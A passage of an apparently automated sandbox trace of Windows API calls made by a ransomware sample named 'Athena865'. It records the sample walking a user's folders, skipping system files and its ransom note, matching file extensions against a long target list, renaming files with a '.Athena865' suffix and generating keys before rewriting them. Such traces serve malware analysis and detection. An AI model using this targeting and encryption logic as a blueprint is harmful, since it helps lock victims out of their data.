(lpString1="mkv", lpString2="owc") returned -1 [0049.684] lstrlenW (lpString="p96") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1 [0049.684] lstrlenW (lpString="p97") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1 [0049.684] lstrlenW (lpString="pan") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1 [0049.684] lstrlenW (lpString="pdb") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1 [0049.684] lstrlenW (lpString="pdm") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1 [0049.684] lstrlenW (lpString="pnz") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1 [0049.684] lstrlenW (lpString="qry") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1 [0049.684] lstrlenW (lpString="qvd") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1 [0049.684] lstrlenW (lpString="rbf") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1 [0049.684] lstrlenW (lpString="rctd") returned 4 [0049.685] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1 [0049.685] lstrlenW (lpString="rod") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1 [0049.685] lstrlenW (lpString="rodx") returned 4 [0049.685] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1 [0049.685] lstrlenW (lpString="rpd") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1 [0049.685] lstrlenW (lpString="rsd") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1 [0049.685] lstrlenW (lpString="sas7bdat") returned 8 [0049.685] lstrcmpiW (lpString1="7Z1J.mkv", lpString2="sas7bdat") returned -1 [0049.685] lstrlenW (lpString="sbf") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1 [0049.685] lstrlenW (lpString="scx") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1 [0049.685] lstrlenW (lpString="sdb") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1 [0049.685] lstrlenW (lpString="sdc") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1 [0049.685] lstrlenW (lpString="sdf") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1 [0049.685] lstrlenW (lpString="sis") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1 [0049.685] lstrlenW (lpString="spq") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1 [0049.685] lstrlenW (lpString="te") returned 2 [0049.685] lstrcmpiW (lpString1="kv", lpString2="te") returned -1 [0049.685] lstrlenW (lpString="teacher") returned 7 [0049.685] lstrcmpiW (lpString1="Z1J.mkv", lpString2="teacher") returned 1 [0049.685] lstrlenW (lpString="tmd") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1 [0049.685] lstrlenW (lpString="tps") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1 [0049.685] lstrlenW (lpString="trc") returned 3 [0049.685] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0049.686] lstrlenW (lpString="trc") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1 [0049.686] lstrlenW (lpString="trm") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1 [0049.686] lstrlenW (lpString="udb") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1 [0049.686] lstrlenW (lpString="udl") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1 [0049.686] lstrlenW (lpString="usr") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1 [0049.686] lstrlenW (lpString="v12") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1 [0049.686] lstrlenW (lpString="vis") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1 [0049.686] lstrlenW (lpString="vpd") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1 [0049.686] lstrlenW (lpString="vvv") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1 [0049.686] lstrlenW (lpString="wdb") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1 [0049.686] lstrlenW (lpString="wmdb") returned 4 [0049.686] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1 [0049.686] lstrlenW (lpString="wrk") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1 [0049.686] lstrlenW (lpString="xdb") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1 [0049.686] lstrlenW (lpString="xld") returned 3 [0049.686] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1 [0049.686] lstrlenW (lpString="xmlff") returned 5 [0049.686] lstrcmpiW (lpString1="J.mkv", lpString2="xmlff") returned -1 [0049.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\CsnV8Yv1T6B7Z1J.mkv.Athena865") returned 93 [0049.686] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\CsnV8Yv1T6B7Z1J.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\csnv8yv1t6b7z1j.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\CsnV8Yv1T6B7Z1J.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\csnv8yv1t6b7z1j.mkv.athena865"), dwFlags=0x1) returned 1 [0049.689] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\CsnV8Yv1T6B7Z1J.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\csnv8yv1t6b7z1j.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.689] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91185) returned 1 [0049.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.690] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.690] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.691] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16740, lpName=0x0) returned 0x154 [0049.691] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16740) returned 0x100000 [0049.694] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.694] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.694] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.695] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.696] CloseHandle (hObject=0x154) returned 1 [0049.696] CloseHandle (hObject=0x17c) returned 1 [0049.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.698] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3e84680, ftCreationTime.dwHighDateTime=0x1d4ca9c, ftLastAccessTime.dwLowDateTime=0x620c6e30, ftLastAccessTime.dwHighDateTime=0x1d4d006, ftLastWriteTime.dwLowDateTime=0x620c6e30, ftLastWriteTime.dwHighDateTime=0x1d4d006, nFileSizeHigh=0x0, nFileSizeLow=0xa69c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D LaemIQZxiCzdY_Uv1.wav", cAlternateFileName="DLAEMI~1.WAV")) returned 1 [0049.698] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2=".") returned 1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="..") returned 1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="windows") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="bootmgr") returned 1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="temp") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="pagefile.sys") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="boot") returned 1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="ids.txt") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="ntuser.dat") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="perflogs") returned -1 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2="MSBuild") returned -1 [0049.699] lstrlenW (lpString="D LaemIQZxiCzdY_Uv1.wav") returned 23 [0049.699] lstrcpyW (in: lpString1=0x241e8c8, lpString2="D LaemIQZxiCzdY_Uv1.wav" | out: lpString1="D LaemIQZxiCzdY_Uv1.wav") returned="D LaemIQZxiCzdY_Uv1.wav" [0049.699] lstrlenW (lpString="D LaemIQZxiCzdY_Uv1.wav") returned 23 [0049.699] lstrlenW (lpString="Athena865") returned 9 [0049.699] lstrcmpiW (lpString1="Y_Uv1.wav", lpString2="Athena865") returned 1 [0049.699] lstrlenW (lpString=".dll") returned 4 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2=".dll") returned 1 [0049.699] lstrlenW (lpString=".lnk") returned 4 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2=".lnk") returned 1 [0049.699] lstrlenW (lpString=".ini") returned 4 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2=".ini") returned 1 [0049.699] lstrlenW (lpString=".sys") returned 4 [0049.699] lstrcmpiW (lpString1="D LaemIQZxiCzdY_Uv1.wav", lpString2=".sys") returned 1 [0049.699] lstrlenW (lpString="D LaemIQZxiCzdY_Uv1.wav") returned 23 [0049.699] lstrlenW (lpString="bak") returned 3 [0049.699] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1 [0049.699] lstrlenW (lpString="ba_") returned 3 [0049.699] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1 [0049.699] lstrlenW (lpString="dbb") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1 [0049.700] lstrlenW (lpString="vmdk") returned 4 [0049.700] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1 [0049.700] lstrlenW (lpString="rar") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1 [0049.700] lstrlenW (lpString="zip") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1 [0049.700] lstrlenW (lpString="tgz") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1 [0049.700] lstrlenW (lpString="vbox") returned 4 [0049.700] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1 [0049.700] lstrlenW (lpString="vdi") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1 [0049.700] lstrlenW (lpString="vhd") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1 [0049.700] lstrlenW (lpString="vhdx") returned 4 [0049.700] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1 [0049.700] lstrlenW (lpString="avhd") returned 4 [0049.700] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1 [0049.700] lstrlenW (lpString="db") returned 2 [0049.700] lstrcmpiW (lpString1="av", lpString2="db") returned -1 [0049.700] lstrlenW (lpString="db2") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1 [0049.700] lstrlenW (lpString="db3") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1 [0049.700] lstrlenW (lpString="dbf") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1 [0049.700] lstrlenW (lpString="mdf") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1 [0049.700] lstrlenW (lpString="mdb") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1 [0049.700] lstrlenW (lpString="sql") returned 3 [0049.700] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1 [0049.700] lstrlenW (lpString="sqlite") returned 6 [0049.701] lstrcmpiW (lpString1="v1.wav", lpString2="sqlite") returned 1 [0049.701] lstrlenW (lpString="sqlite3") returned 7 [0049.701] lstrcmpiW (lpString1="Uv1.wav", lpString2="sqlite3") returned 1 [0049.701] lstrlenW (lpString="sqlitedb") returned 8 [0049.701] lstrcmpiW (lpString1="_Uv1.wav", lpString2="sqlitedb") returned -1 [0049.701] lstrlenW (lpString="xml") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1 [0049.701] lstrlenW (lpString="$er") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1 [0049.701] lstrlenW (lpString="4dd") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1 [0049.701] lstrlenW (lpString="4dl") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1 [0049.701] lstrlenW (lpString="^^^") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1 [0049.701] lstrlenW (lpString="abs") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1 [0049.701] lstrlenW (lpString="abx") returned 3 [0049.701] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1 [0049.701] lstrlenW (lpString="accdb") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accdb") returned -1 [0049.701] lstrlenW (lpString="accdc") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accdc") returned -1 [0049.701] lstrlenW (lpString="accde") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accde") returned -1 [0049.701] lstrlenW (lpString="accdr") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accdr") returned -1 [0049.701] lstrlenW (lpString="accdt") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accdt") returned -1 [0049.701] lstrlenW (lpString="accdw") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accdw") returned -1 [0049.701] lstrlenW (lpString="accft") returned 5 [0049.701] lstrcmpiW (lpString1="1.wav", lpString2="accft") returned -1 [0049.701] lstrlenW (lpString="adb") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1 [0049.702] lstrlenW (lpString="adb") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1 [0049.702] lstrlenW (lpString="ade") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1 [0049.702] lstrlenW (lpString="adf") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1 [0049.702] lstrlenW (lpString="adn") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1 [0049.702] lstrlenW (lpString="adp") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1 [0049.702] lstrlenW (lpString="alf") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1 [0049.702] lstrlenW (lpString="ask") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1 [0049.702] lstrlenW (lpString="btr") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1 [0049.702] lstrlenW (lpString="cat") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1 [0049.702] lstrlenW (lpString="cdb") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1 [0049.702] lstrlenW (lpString="ckp") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1 [0049.702] lstrlenW (lpString="cma") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1 [0049.702] lstrlenW (lpString="cpd") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1 [0049.702] lstrlenW (lpString="dacpac") returned 6 [0049.702] lstrcmpiW (lpString1="v1.wav", lpString2="dacpac") returned 1 [0049.702] lstrlenW (lpString="dad") returned 3 [0049.702] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1 [0049.702] lstrlenW (lpString="dadiagrams") returned 10 [0049.703] lstrcmpiW (lpString1="dY_Uv1.wav", lpString2="dadiagrams") returned 1 [0049.703] lstrlenW (lpString="daschema") returned 8 [0049.703] lstrcmpiW (lpString1="_Uv1.wav", lpString2="daschema") returned -1 [0049.703] lstrlenW (lpString="db-journal") returned 10 [0049.703] lstrcmpiW (lpString1="dY_Uv1.wav", lpString2="db-journal") returned 1 [0049.703] lstrlenW (lpString="db-shm") returned 6 [0049.703] lstrcmpiW (lpString1="v1.wav", lpString2="db-shm") returned 1 [0049.703] lstrlenW (lpString="db-wal") returned 6 [0049.703] lstrcmpiW (lpString1="v1.wav", lpString2="db-wal") returned 1 [0049.703] lstrlenW (lpString="dbc") returned 3 [0049.703] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1 [0049.703] lstrlenW (lpString="dbs") returned 3 [0049.703] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1 [0049.703] lstrlenW (lpString="dbt") returned 3 [0049.703] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1 [0049.703] lstrlenW (lpString="dbv") returned 3 [0049.703] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1 [0049.703] lstrlenW (lpString="dbx") returned 3 [0049.703] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1 [0049.703] lstrlenW (lpString="dcb") returned 3 [0049.703] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1 [0049.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\D LaemIQZxiCzdY_Uv1.wav.Athena865") returned 97 [0049.703] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\D LaemIQZxiCzdY_Uv1.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d laemiqzxiczdy_uv1.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\D LaemIQZxiCzdY_Uv1.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d laemiqzxiczdy_uv1.wav.athena865"), dwFlags=0x1) returned 1 [0049.704] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\D LaemIQZxiCzdY_Uv1.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d laemiqzxiczdy_uv1.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42652) returned 1 [0049.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.705] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.705] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.706] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa9a0, lpName=0x0) returned 0x154 [0049.706] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa9a0) returned 0x100000 [0049.707] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.708] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.708] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.709] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.709] CloseHandle (hObject=0x154) returned 1 [0049.709] CloseHandle (hObject=0x17c) returned 1 [0049.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.711] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd5c5c8e0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0xe18cca10, ftLastAccessTime.dwHighDateTime=0x1d4d574, ftLastWriteTime.dwLowDateTime=0xe18cca10, ftLastWriteTime.dwHighDateTime=0x1d4d574, nFileSizeHigh=0x0, nFileSizeLow=0xcb99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d5hPdofRcff-.png", cAlternateFileName="D5HPDO~1.PNG")) returned 1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2=".") returned 1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="..") returned 1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="windows") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="bootmgr") returned 1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="temp") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="pagefile.sys") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="boot") returned 1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="ids.txt") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="ntuser.dat") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="perflogs") returned -1 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2="MSBuild") returned -1 [0049.711] lstrlenW (lpString="d5hPdofRcff-.png") returned 16 [0049.711] lstrcpyW (in: lpString1=0x241e8c8, lpString2="d5hPdofRcff-.png" | out: lpString1="d5hPdofRcff-.png") returned="d5hPdofRcff-.png" [0049.711] lstrlenW (lpString="d5hPdofRcff-.png") returned 16 [0049.711] lstrlenW (lpString="Athena865") returned 9 [0049.711] lstrcmpiW (lpString1="Rcff-.png", lpString2="Athena865") returned 1 [0049.711] lstrlenW (lpString=".dll") returned 4 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2=".dll") returned 1 [0049.711] lstrlenW (lpString=".lnk") returned 4 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2=".lnk") returned 1 [0049.711] lstrlenW (lpString=".ini") returned 4 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2=".ini") returned 1 [0049.711] lstrlenW (lpString=".sys") returned 4 [0049.711] lstrcmpiW (lpString1="d5hPdofRcff-.png", lpString2=".sys") returned 1 [0049.711] lstrlenW (lpString="d5hPdofRcff-.png") returned 16 [0049.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d5hPdofRcff-.png.Athena865") returned 90 [0049.712] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application 